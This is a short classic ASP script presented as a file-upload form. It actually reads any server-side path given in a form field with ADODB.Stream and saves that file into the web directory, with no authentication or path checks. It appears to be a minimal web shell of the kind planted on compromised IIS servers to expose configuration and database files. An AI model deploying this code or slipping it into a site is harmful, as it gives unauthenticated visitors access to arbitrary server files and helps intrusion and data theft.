<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "\")+1)
Else
GetFileName = ""
End If
End function
strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>